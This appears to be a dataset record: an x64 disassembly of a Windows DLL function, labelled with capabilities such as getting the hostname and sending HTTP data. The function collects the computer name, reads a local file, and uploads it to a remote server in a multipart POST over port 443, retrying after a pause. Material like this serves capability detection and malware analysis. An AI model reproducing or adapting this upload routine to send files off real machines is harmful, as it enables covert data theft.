Function at 0x18001117c
Capabilities:
Connect to http server
Create http request
Get hostname
Send data
Send http request

Disassembly:
jmp 0x18001ae10
mov qword [rsp + 8], rcx
push rbp
push rsi
push rdi
sub rsp, 0xf20
lea rbp, [rsp + 0x40]
lea rdi, [rsp + 0x40]
mov ecx, 0x298
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0xf48]
mov rax, qword [0x180030040]
xor rax, rbp
mov qword [rbp + 0xed8], rax
lea rcx, [0x1800370f9]
call fcn.1800118de
lea rdx, [0x18002a8f2]
lea rcx, [rbp + 8]
call fcn.180011406
nop
mov dword [rbp + 0x164], 0x100
lea rdx, [rbp + 0x164]
lea rcx, [rbp + 0x50]
call qword [sym.imp.KERNEL32.dll_GetComputerNameA]
test eax, eax
jne 0x18001ae8c
jmp 0x18001aea9
lea rdx, [0x18002aa24]
lea rcx, [rbp + 8]
call fcn.1800110be
lea rdx, [rbp + 0x50]
lea rcx, [rbp + 8]
call fcn.1800110be
lea rcx, [rbp + 0x188]
call fcn.1800118ca
nop
lea rdx, [0x180030710]
lea rcx, [rbp + 0x1c8]
call fcn.180011145
nop
lea rdx, [rbp + 0x50]
lea rcx, [rbp + 0x188]
call fcn.1800110be
lea rdx, [rbp + 0x50]
lea rcx, [rbp + 0x1c8]
call fcn.1800110be
lea rdx, [0x1800307c8]
lea rcx, [rbp + 0x1c8]
call fcn.180011217
lea rdx, [rbp + 0x1c8]
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.180011807
lea rdx, [0x18002aa28]
mov rcx, rax
call fcn.180011113
lea rax, [rbp + 0x208]
lea rcx, str.Content_Type:_multipart_form_data__boundary____qwerty
mov rdi, rax
mov rsi, rcx
mov ecx, 0x37
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x260]
lea rcx, str.______qwerty_r_nContent_Disposition:_form_data__name__s___filename__s__r_nContent_Type:_application_octet_stream_r_nContent_Transfer_Encoding:_binary_r_n_r_n
mov rdi, rax
mov rsi, rcx
mov ecx, 0x96
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x318]
lea rcx, str._r_n______qwerty___r_n
mov rdi, rax
mov rsi, rcx
mov ecx, 0x13
rep movsb byte [rdi], byte [rsi]
mov dword [rbp + 0x824], 0x803100
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov edx, 1
lea rcx, [0x18002ab50]
call qword [sym.imp.WININET.dll_InternetOpenA]
mov qword [rbp + 0x768], rax
lea rcx, [0x1800306e8]
call fcn.1800110eb
mov qword [rsp + 0x38], 0
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 3
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8w, 0x1bb
mov rdx, rax
mov rcx, qword [rbp + 0x768]
call qword [sym.imp.WININET.dll_InternetConnectA]
mov qword [rbp + 0x788], rax
lea rcx, [rbp + 0x188]
call fcn.1800110eb
mov qword [rbp + 0xec8], rax
lea rcx, [rbp + 0x1c8]
call fcn.1800110eb
mov qword [rsp + 0x38], 0
mov dword [rsp + 0x30], 0x800000
mov qword [rsp + 0x28], 0
mov rcx, qword [rbp + 0xec8]
mov qword [rsp + 0x20], rcx
xor r9d, r9d
mov r8, rax
lea rdx, str.POST
mov rcx, qword [rbp + 0x788]
call qword [sym.imp.WININET.dll_HttpOpenRequestA]
mov qword [rbp + 0x7a8], rax
mov r9d, 5
lea r8, [rbp + 0x824]
mov edx, 0x1f
mov rcx, qword [rbp + 0x7a8]
call qword [sym.imp.WININET.dll_InternetSetOptionA]
mov dword [rbp + 0x844], eax
mov edx, 0x110
lea rcx, [rbp + 0x870]
call fcn.180011631
mov dword [rsp + 0x20], 1
mov r9d, 0x40
mov r8d, 0x25
mov rdx, qword [rbp + 0xf00]
lea rcx, [rbp + 0x870]
call fcn.180011843
nop
lea rcx, [rbp + 0x870]
call fcn.180011046
movzx eax, al
test eax, eax
je 0x18001b16f
lea rdx, [rbp + 0xe88]
lea rcx, [rbp + 0x870]
call qword [sym.imp.MSVCP140D.dll_public:_class_std::fpos_struct__Mbstatet____cdecl_std::basic_istream_char__struct_std::char_traits_char__::tellg_void____ptr64]
mov rcx, rax
call fcn.180011915
cdqe
mov rdx, rax
lea rcx, [rbp + 0xe58]
call fcn.1800110e6
lea rax, [0x180030760]
lea rcx, [rbp + 0xe58]
mov rdi, rax
mov rsi, rcx
mov ecx, 0x18
rep movsb byte [rdi], byte [rsi]
lea rcx, [0x180030760]
call fcn.180011915
mov rcx, rax
call fcn.1800113de
mov qword [rbp + 0xeb8], rax
mov rax, qword [rbp + 0xeb8]
mov qword [0x1800306e0], rax
xor r8d, r8d
xor edx, edx
lea rcx, [rbp + 0x870]
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::seekg_long_long___int64___int____ptr64]
lea rcx, [0x180030760]
call fcn.180011915
mov r8, rax
mov rdx, qword [0x1800306e0]
lea rcx, [rbp + 0x870]
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::read_char____ptr64__long_long___int64_____ptr64]
mov r9, qword [rbp + 0xf00]
lea r8, str.filetoupload
lea rdx, [rbp + 0x260]
lea rcx, [rbp + 0x350]
call qword [sym.imp.USER32.dll_wsprintfA]
lea rcx, [rbp + 0x350]
call qword [sym.imp.KERNEL32.dll_lstrlenA]
cdqe
mov qword [rbp + 0xec8], rax
lea rcx, [0x180030760]
call fcn.180011915
mov rcx, qword [rbp + 0xec8]
add rcx, rax
mov rax, rcx
mov qword [rbp + 0xed0], rax
lea rcx, [rbp + 0x318]
call qword [sym.imp.KERNEL32.dll_lstrlenA]
cdqe
mov rcx, qword [rbp + 0xed0]
add rcx, rax
mov rax, rcx
mov dword [rbp + 0x804], eax
mov eax, dword [rbp + 0x804]
mov ecx, eax
call qword [sym.imp.ucrtbased.dll_malloc]
mov qword [rbp + 0x9b8], rax
lea rcx, [rbp + 0x350]
call qword [sym.imp.KERNEL32.dll_lstrlenA]
cdqe
mov ecx, 1
imul rcx, rcx, 0
mov rdx, qword [rbp + 0x9b8]
add rdx, rcx
mov rcx, rdx
mov r8, rax
lea rdx, [rbp + 0x350]
call fcn.180011460
lea rcx, [rbp + 0x350]
call qword [sym.imp.KERNEL32.dll_lstrlenA]
cdqe
mov ecx, 1
imul rcx, rcx, 0
mov rdx, qword [rbp + 0x9b8]
add rdx, rcx
mov rcx, rdx
mov r8, rax
lea rdx, [rbp + 0x350]
call fcn.180011460
lea rcx, [0x180030760]
call fcn.180011915
mov qword [rbp + 0xec8], rax
lea rcx, [rbp + 0x350]
call qword [sym.imp.KERNEL32.dll_lstrlenA]
cdqe
mov rcx, qword [rbp + 0x9b8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rbp + 0xec8]
mov r8, rcx
mov rdx, qword [0x1800306e0]
mov rcx, rax
call fcn.180011460
lea rcx, [rbp + 0x318]
call qword [sym.imp.KERNEL32.dll_lstrlenA]
cdqe
mov qword [rbp + 0xec8], rax
lea rcx, [rbp + 0x350]
call qword [sym.imp.KERNEL32.dll_lstrlenA]
cdqe
mov qword [rbp + 0xed0], rax
lea rcx, [0x180030760]
call fcn.180011915
add rax, qword [rbp + 0x9b8]
mov rcx, qword [rbp + 0xed0]
add rax, rcx
mov rcx, qword [rbp + 0xec8]
mov r8, rcx
lea rdx, [rbp + 0x318]
mov rcx, rax
call fcn.180011460
lea rcx, [rbp + 0x208]
call qword [sym.imp.KERNEL32.dll_lstrlenA]
mov ecx, dword [rbp + 0x804]
mov dword [rsp + 0x20], ecx
mov r9, qword [rbp + 0x9b8]
mov r8d, eax
lea rdx, [rbp + 0x208]
mov rcx, qword [rbp + 0x7a8]
call qword [sym.imp.WININET.dll_HttpSendRequestA]
mov dword [rbp + 0x994], eax
cmp dword [rbp + 0x994], 0
jne 0x18001b371
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
nop
lea rcx, [rbp + 0x870]
call fcn.180011168
jmp 0x18001af1f
mov rcx, qword [rbp + 0x9b8]
call qword [sym.imp.ucrtbased.dll_free]
lea rcx, [rbp + 0x870]
call fcn.180011505
mov rcx, qword [rbp + 0x7a8]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, qword [rbp + 0x788]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, qword [rbp + 0x768]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
nop
lea rcx, [rbp + 0x870]
call fcn.180011168
nop
lea rcx, [rbp + 0x1c8]
call fcn.1800111bd
nop
lea rcx, [rbp + 0x188]
call fcn.1800111bd
nop
lea rcx, [rbp + 8]
call fcn.1800111bd
lea rcx, [rbp - 0x40]
lea rdx, [0x180029c20]
call fcn.180011767
mov rcx, qword [rbp + 0xed8]
xor rcx, rbp
call fcn.18001145b
lea rsp, [rbp + 0xee0]
pop rdi
pop rsi
pop rbp
ret